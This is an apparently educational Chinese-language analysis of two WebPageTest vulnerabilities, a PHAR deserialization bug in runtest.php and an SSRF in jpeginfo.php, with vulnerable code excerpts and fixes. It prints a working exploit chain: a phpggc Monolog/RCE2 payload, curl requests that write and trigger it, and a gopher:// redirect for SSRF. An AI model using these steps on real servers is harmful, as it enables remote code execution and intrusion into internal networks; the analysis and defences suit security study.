webpagetest反序列化及ssrf漏洞分析
字数 1163 2025-08-26 22:11:45

WebPageTest反序列化及SSRF漏洞分析教学文档

一、概述

WebPageTest是一款专业的Web页面性能分析工具,2022年9月公开了多个安全漏洞。本教学文档将详细分析其中两个高危漏洞:PHAR反序列化漏洞(AVD-2022-1474319)和SSRF漏洞(AVD-2022-1474320)。

二、PHAR反序列化漏洞分析(AVD-2022-1474319)

1. 漏洞位置

2. 漏洞原理

该漏洞源于rkey参数过滤不严,导致攻击者可以:

  1. 写入可控内容的INI文件
  2. 通过特定路径触发PHAR反序列化
  3. 执行任意代码

3. 漏洞利用条件

  • 可以写入PHAR文件并知道文件位置
  • 存在可触发PHAR协议的函数
  • 有适当的类可用于触发反序列化并导致代码执行

4. 关键代码分析

漏洞触发点

function RelayTest() {
    $rkey = $_POST['rkey'];
    // ...
    $id = $rkey . '.' . $test['id'];
    $testPath = './' . GetTestPath($id);
    file_put_contents("$testPath/testinfo.ini", $ini);
    SaveTestInfo($id, $test);
}

反序列化触发点

SaveTestInfo函数中,is_dir函数可触发PHAR协议:

function SaveTestInfo($testIdOrPath, &$testInfo) {
    // ...
    if (is_dir($testPath)) {
        // ...
    }
}

5. 可利用的POP链

  • 项目使用了Monolog日志库(位于www/lib/aws/aws-autoloader.php
  • 可使用phpggc工具生成Monolog/RCE2的payload

6. 漏洞利用步骤

  1. 生成PHAR payload:
./phpggc Monolog/RCE2 system 'id' -p phar -o testinfo.ini
  1. 对payload进行URL编码:
URLENC_PAYLOAD=$(cat /tmp/testinfo.ini | xxd -p | tr -d "\n" | sed "s#..#%&#g")
  1. 写入恶意文件:
curl -sSkig 'http://target/runtest.php' -d 'rkey=gadget' -d "ini=$URLENC_PAYLOAD" -o -
  1. 触发反序列化:
curl -sSkig 'http://target/runtest.php' -d 'rkey=phar:///var/www/html/results/gadget./testinfo.ini/foo' -d "ini=$URLENC_PAYLOAD" -o -

三、SSRF漏洞分析(AVD-2022-1474320)

1. 漏洞位置

  • 文件路径:www/jpeginfo/jpeginfo.php

2. 漏洞原理

该漏洞源于URL参数处理不当,结合CURL的重定向功能,可构造恶意服务器响应实现SSRF攻击。

3. 关键代码分析

漏洞触发点

if (array_key_exists('url', $_REQUEST) && strlen($_REQUEST['url'])) {
    $url = trim($_REQUEST['url']);
    $id = sha1($url);
    $path = GetPath($id);
    if (!is_file($path))
        GetUrl($url, $path);
    // ...
}

URL处理函数

function GetUrl($url, $path) {
    if (strcasecmp(substr($url, 0, 4), 'http'))
        $url = "http://$url";
    // ...
    FetchUrl($url);
}

CURL配置(关键问题)

function FetchUrl($url) {
    // ...
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); // 允许重定向
    // ...
}

4. 漏洞利用方法

  1. 构造恶意服务器,响应包含重定向到内部服务的Location头
  2. 通过重定向实现SSRF攻击,可探测内网信息

5. 攻击示例

  1. 攻击者控制服务器返回响应头:
Location: gopher://internal-service:port/_payload
  1. 通过此方式可访问内网服务

四、防御措施

1. 针对PHAR反序列化漏洞

  • 严格过滤用户输入的rkey参数
  • 禁用PHAR协议或限制文件写入权限
  • 更新Monolog到安全版本

2. 针对SSRF漏洞

  • 禁用CURL的重定向功能(CURLOPT_FOLLOWLOCATION = false
  • 对URL参数进行严格校验,限制协议类型
  • 实现URL白名单机制

五、总结

这两个漏洞展示了Web应用安全中的常见问题:

  1. 反序列化漏洞:源于不可信数据的反序列化操作
  2. SSRF漏洞:源于对外部URL的不当处理

开发者应特别注意:

  • 所有用户输入都应视为不可信的
  • 文件操作和网络请求需要严格限制和过滤
  • 第三方库应及时更新到安全版本
WebPageTest反序列化及SSRF漏洞分析教学文档 一、概述 WebPageTest是一款专业的Web页面性能分析工具,2022年9月公开了多个安全漏洞。本教学文档将详细分析其中两个高危漏洞:PHAR反序列化漏洞(AVD-2022-1474319)和SSRF漏洞(AVD-2022-1474320)。 二、PHAR反序列化漏洞分析(AVD-2022-1474319) 1. 漏洞位置 文件路径: www/runtest.php 中的 RelayTest 函数 修复提交: GitHub修复提交 2. 漏洞原理 该漏洞源于 rkey 参数过滤不严,导致攻击者可以: 写入可控内容的INI文件 通过特定路径触发PHAR反序列化 执行任意代码 3. 漏洞利用条件 可以写入PHAR文件并知道文件位置 存在可触发PHAR协议的函数 有适当的类可用于触发反序列化并导致代码执行 4. 关键代码分析 漏洞触发点 反序列化触发点 在 SaveTestInfo 函数中, is_dir 函数可触发PHAR协议: 5. 可利用的POP链 项目使用了Monolog日志库(位于 www/lib/aws/aws-autoloader.php ) 可使用phpggc工具生成Monolog/RCE2的payload 6. 漏洞利用步骤 生成PHAR payload: 对payload进行URL编码: 写入恶意文件: 触发反序列化: 三、SSRF漏洞分析(AVD-2022-1474320) 1. 漏洞位置 文件路径: www/jpeginfo/jpeginfo.php 2. 漏洞原理 该漏洞源于URL参数处理不当,结合CURL的重定向功能,可构造恶意服务器响应实现SSRF攻击。 3. 关键代码分析 漏洞触发点 URL处理函数 CURL配置(关键问题) 4. 漏洞利用方法 构造恶意服务器,响应包含重定向到内部服务的Location头 通过重定向实现SSRF攻击,可探测内网信息 5. 攻击示例 攻击者控制服务器返回响应头: 通过此方式可访问内网服务 四、防御措施 1. 针对PHAR反序列化漏洞 严格过滤用户输入的 rkey 参数 禁用PHAR协议或限制文件写入权限 更新Monolog到安全版本 2. 针对SSRF漏洞 禁用CURL的重定向功能( CURLOPT_FOLLOWLOCATION = false ) 对URL参数进行严格校验,限制协议类型 实现URL白名单机制 五、总结 这两个漏洞展示了Web应用安全中的常见问题: 反序列化漏洞:源于不可信数据的反序列化操作 SSRF漏洞:源于对外部URL的不当处理 开发者应特别注意: 所有用户输入都应视为不可信的 文件操作和网络请求需要严格限制和过滤 第三方库应及时更新到安全版本